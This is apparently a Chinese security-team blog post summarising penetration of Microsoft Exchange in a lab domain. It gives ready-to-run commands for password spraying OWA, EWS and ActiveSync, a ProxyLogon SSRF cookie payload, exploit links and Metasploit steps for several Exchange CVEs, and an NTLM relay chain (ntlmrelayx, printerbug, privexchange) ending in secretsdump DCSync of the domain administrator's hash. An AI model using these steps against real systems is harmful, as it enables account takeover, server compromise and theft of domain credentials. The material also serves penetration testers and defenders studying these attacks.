奇安信Z-Team技术博客

技术源于分享,但不止于分享

0%

Exchange渗透总结

前言

实验环境:DC (10.10.10.10) windows server 2012 R2

Exchange Server(10.10.10.40)windows server 2012 R2 Exchange 2016 CU18

辅助DC (10.10.10.20)

攻击机IP (10.10.10.142)

域:c0okb.cn(域用户:testMember@c0okb.cnadministrator@c0okb.cn

发现Exchange

端口扫描探测

image-20210803172815811

image-20210803172933492

特殊后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
https://ServerAddress/AutoDiscover/  该接口能用于爆破账号密码
用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程

https://ServerAddress/Ecp/
管理员用于管理组织中的Exchange的Web控制台

https://ServerAddress/EWS/ 该接口能用于爆破账号密码
实现客户端与服务端之间基于HTTP的SOAP交互

https://ServerAddress/mapi/

https://ServerAddress/Microsoft-Server-ActiveSync/ 该接口能用于爆破账号密码
用于移动应用程序访问电子邮件

https://ServerAddress/OAB/
用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担

https://ServerAddress/OWA/ 该接口能用于爆破账号密码
用于通过web应用程序访问邮件、日历、任务和联系人等

https://ServerAddress/PowerShell/
用于服务器管理的Exchange管理控制台

https://ServerAddress/Rpc/

其中能用于账号密码爆破:

1
2
3
4
/AutoDiscover/
/EWS/
/OWA/
/Rpc/

特殊域名

通过一些特殊的子域名在互联网中发现Exchange服务器

1
2
3
4
https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/

查看Exchange版本

在outlook界面查看源代码,通过查看link标签中的数字与链接

image-20210805013029075

通过其中的数字与官方的内部版本号进行对比即可判断版本。

1
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

image-20210805013403796

Exchange账号密码爆破

在Exchange服务中,以下几个接口可以用于账号密码的爆破

1
2
3
4
/AutoDiscover/
/EWS/
/OWA/
/Microsoft-Server-ActiveSync/

收集邮箱信息

工具:MailSniper

1
2
Import-Module .\MailSniper.ps1
Get-GlobalAddressList -ExchHostname 10.10.10.40 -UserName c0okb.cn\testMember -Password Buzhidao250. -OutFile out.txt

image-20210805012434745

利用AutoDiscover接口进行密码爆破

工具:Ruler

利用该接口,可以对邮箱账号密码进行爆破。利用工具Ruler对该接口进行认证的暴力破解,该工具可以配置线程数、间隔时间可以限制破解速度防止多次登陆失败触发告警或账户被封禁。

image-20210804194701949

利用owa接口进行密码爆破

工具:MailSniper

1
Invoke-PasswordSprayOWA -ExchHostname 10.10.10.40 -UserList .\user.txt -Password 1qaz@WSX -Threads 1 -Domain c0okb.cn -OutFile out.txt -Verbose

image-20210804104818435

利用ews接口进行密码爆破

工具:MailSniper

1
Invoke-PasswordSprayEWS -ExchHostname 10.10.10.40 -UserList .\user.txt -Password 1qaz@WSX -Threads 1 -Domain c0okb.cn -OutFile out.txt -Verbose

image-20210804105821714

利用Microsoft-Server-ActiveSync接口进行密码爆破

工具:MailSniper

1
Invoke-PasswordSprayEAS -ExchHostname 10.10.10.40 -UserList .\user.txt -Password 1qaz@WSX -Threads 1 -Domain c0okb.cn -OutFile out.txt -Verbose

image-20210804110312558

Exchange 历史漏洞总结

CVE-2021-34473

Microsoft Exchange Server存在远程执行代码漏洞,未经身份验证的远程攻击者向服务器发送精心构造的请求,可在目标服务器上执行任意代码。

影响版本:

Microsoft Exchange Server 2019 Cumulative Update 9

Microsoft Exchange Server 2013 Cumulative Update 23

Microsoft Exchange Server 2019 Cumulative Update 8

Microsoft Exchange Server 2016 Cumulative Update 19

Microsoft Exchange Server 2016 Cumulative Update 20

PS: 未有公开完整的EXP

参考文章:

https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/

https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1

CVE-2021-28482

影响版本:

Microsoft Exchange Server 2019 Cumulative Update 8

Microsoft Exchange Server 2019 Cumulative Update 9

Microsoft Exchange Server 2016 Cumulative Update 19

Microsoft Exchange Server 2016 Cumulative Update 20

Microsoft Exchange Server 2013 Cumulative Update 23

利用条件:需要一个普通账户

测试版本:Exchange Server 2016 CU12 (失败)

EXP
https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda

可参考链接:

https://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f

https://www.youtube.com/watch?v=2ludXDGfOlQ

PS: 在复现过程中用github的现有工具testanull,复现失败,此处存疑,可能是版本问题,或者工具自身问题,待研究。

CVE-2021-26855

影响版本:

Microsoft Exchange 2013

Microsoft Exchange 2016 cu18

Microsoft Exchange 2019

Microsoft Exchange 2010

介绍:该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。

利用路径

1
2
3
4
5
6
/owa/auth/x.js 
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js

POC

1
Cookie: X-AnonResource=true; X-AnonResource-Backend=*******/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;

image-20210804153813036

仅仅是SSRF不太行,结合CVE-2021-27065可以达到RCE的效果,

CVE-2021-27065:该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。

EXP: https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Exchange/CVE-2021-26855%20Exchange%20RCE/exp.py

image-20210804165537533

image-20210804165615375

CVE-2020-17144

影响版本:

Microsoft Exchange 2010 SP3 update Rollup 31

利用条件:需要一个普通账号

EXP1: https://github.com/Airboi/CVE-2020-17144-EXP

image-20210806185334505

image-20210806185426622

EXP2:https://github.com/zcgonvh/CVE-2020-17144

CVE-2020-16875

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。

影响版本:

Microsoft Exchange 2016 cu 16/17

Microsoft Exchange 2019 cu 5/6

利用条件:需要一个普通账号

方法一

POC:https://srcincite.io/pocs/cve-2020-16875.py.txt

image-20210804175553431

方法二

MSF漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msfconsole

搜索模块
search exchange 或者 CVE-2020-16875

进入渗透模块
use exploit/windows/http/exchange_ecp_dlp_policy

查看详细
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > info

查看
show options

输入攻击信息
set RHOSTS 206.201.40.96

set USERNAME Administrator

set PASSWORD assw0rd!

set LHOST 206.201.40.96

开始攻击
run

CVE-2020-0688

漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

影响版本:

Microsoft Exchange 2010 SP3 update Rollup 30

Microsoft Exchange 2013 cu 23

Microsoft Exchange 2016 cu 14/15

Microsoft Exchange 2019 cu 3/4

利用条件:需要有一个普通用户账号

利用工具:https://github.com/Ridter/cve-2020-0688

执行EXP如下:

1
python3 cve-2020-0688.py -s https://192.168.111.182/owa/ -u [email protected] -p xxxxxxxx -c calc

image-20210805010106317

工具:https://github.com/pwntester/ysoserial.net/releases/tag/v1.33

运行ysoserial.exe

image-20210805004013026

生成的payload,在python脚本中回车,返回500

image-20210805010215849

命令执行成功

image-20210805004647785

Exchange内网利用

CVE-2018-8581

这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的。

影响版本:

Exchange Server 2010

Exchange Server 2013

Exchange Server 2016

PS:在测试过程中,发现累计更新版本过高的没法打,影响版本此次存疑

方法一

1
sudo python2 Exchange2domain.py -ah 10.10.10.139 -ap 80 -u testMember -p "Buzhidao250." -d c0okb.cn -th 10.10.10.10 10.10.10.40

方法二

利用工具:Privexchange,一个普通的用户账号密码

攻击者开启NTLM中继

1
sudo python3 ntlmrelayx.py -t ldap://10.10.10.10 --escalate-user testMember

攻击Exchange服务器,发起SSRF攻击,调用Exchange凭据到目标服务器

1
sudo python2 privexchange.py -ah 10.10.10.139 exchange.c0okb.cn -u testMember -p "Buzhidao250." -d c0okb.cn --no-ssl --debug    

回调凭证信息到攻击者服务器,读取信息

1
python3 secretsdump.py c0okb/testMember:[email protected] -dc-ip 10.10.10.10 -just-dc-user administrator

原理看这里

CVE-2019-1040

用任何AD帐户,通过SMB连接到目标Exchange服务器,并触发SpoolService错误。目标服务器将通过SMB回连至攻击者主机,使用ntlmrelayx将SMB身份验证中继到LDAP。使用中继的LDAP身份验证,为攻击者帐户授予DCSync权限。攻击者帐户使用DCSync转储AD中的所有密码哈希值。

影响版本:影响版本看这里

PS: 在测试过程中,发现累计更新版本过高的没法打

利用条件:已有域成员账号密码,存在一台exchange服务

方法一

利用工具:impacketprintbug

(1)ntlmrelayx.py进行中继攻击

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

1
sudo python3 ntlmrelayx.py --escalate-user administrator -t ldap://10.10.10.10 -smb2support --remove-mic --delegate-access

image-20210805123541060

(2)触发SpoolService的bug

SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将NTLM认证信息发送到ntlmrelayx.py

1
python3 printerbug.py c0okb/administrator@10.10.10.40  10.10.10.142

image-20210805123617135

image-20210805123647738

(3)secretsdump.py去dcsync

1
python3 secretsdump.py c0okb/administrator@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-user administrator

image-20210805123747409

PS:因为环境问题,所以复现过程直接用administrator演示。并且在复现过程中忽略内网代理这一步。

方法二

工具:RelayX

默认Exchange的服务权限较高,所以工具会利用Exchange的权限将当前用户增加Dcsync权限。

1
python3 relayx.py c0okb.cn/testMember:'Buzhidao250.'@10.10.10.40 -r 10.10.10.142 -dc-ip 10.10.10.40

PS: 方法一和方法二实际上是一样的,方法二的工具将ntlm-relay和printBug集成在一起,方便使用